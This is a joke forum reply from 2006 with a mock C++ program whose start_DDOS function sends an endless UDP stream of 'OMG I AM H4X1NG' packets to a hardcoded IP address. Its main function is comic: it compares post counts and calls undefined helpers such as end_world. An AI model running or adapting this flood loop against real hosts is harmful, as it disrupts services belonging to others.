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Subject: Re: Coming to and end...  
Posted by [jnz](#) on Sun, 24 Dec 2006 00:02:08 GMT  
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im sorry, but i had to post and go over the top.

```
void start_DDOS()
{
    WSADATA WsaData;
    SOCKET Socket;
    if(WSAStartup(MAKEWORD(2,2), &WsaData) != 0)
    {
        cout << "Something went wrong with WSAStartup! error code: " << GetLastError() << endl;
        system("pause");
        exit((int)GetLastError());
    }
    Socket = socket(AF_INET, SOCK_DGRAM, 0);
    if(Socket == SOCKET_ERROR)
    {
        cout << "Something went wrong creating the socket! error code: " << GetLastError() << endl;
        system("pause");
        exit((int)GetLastError());
    }
    SOCKADDR_IN SockAddr, sender;
    SockAddr.sin_family = AF_INET;

    SockAddr.sin_addr.S_un.S_un_b.s_b1 = 70;
    SockAddr.sin_addr.S_un.S_un_b.s_b2 = 132;
    SockAddr.sin_addr.S_un.S_un_b.s_b3 = 48;
    SockAddr.sin_addr.S_un.S_un_b.s_b4 = 91;

    SockAddr.sin_port = htons(2000);

    SOCKADDR_IN client;
    client.sin_family = AF_INET;

    if(connect(Socket, (SOCKADDR *)&SockAddr, sizeof(SockAddr)) == SOCKET_ERROR)
    {
        cout << "Something went wrong when binding! error code: " << GetLastError() << endl;
        system("pause");
        exit((int)GetLastError());
    }

    int dwSenderSize = (int)sizeof(sender);
    while(1)
    {
```

```

char buf[256] = "OMG I AM H4X1NG";
int ret = sendto(Socket, buf, 255, 0, (SOCKADDR *)&SockAddr, dwSenderSize);
if (ret == SOCKET_ERROR)
{
    cout << "Something went wrong sending! error code: " << GetLastError() << endl;
    system("pause");
    exit((int)GetLastError());
}
}

int main()
{
    int myposts = get_myposts();
    int Hot_Topics_posts = get_Hot_Topics_posts();
    if(myposts < Hot_Topics_posts)
    {
        start_DDOS();
    }
    else
    {
        end_world((Planet_type *)"earth");
    }
    my_bumped_topic++;
    return 0;
}

```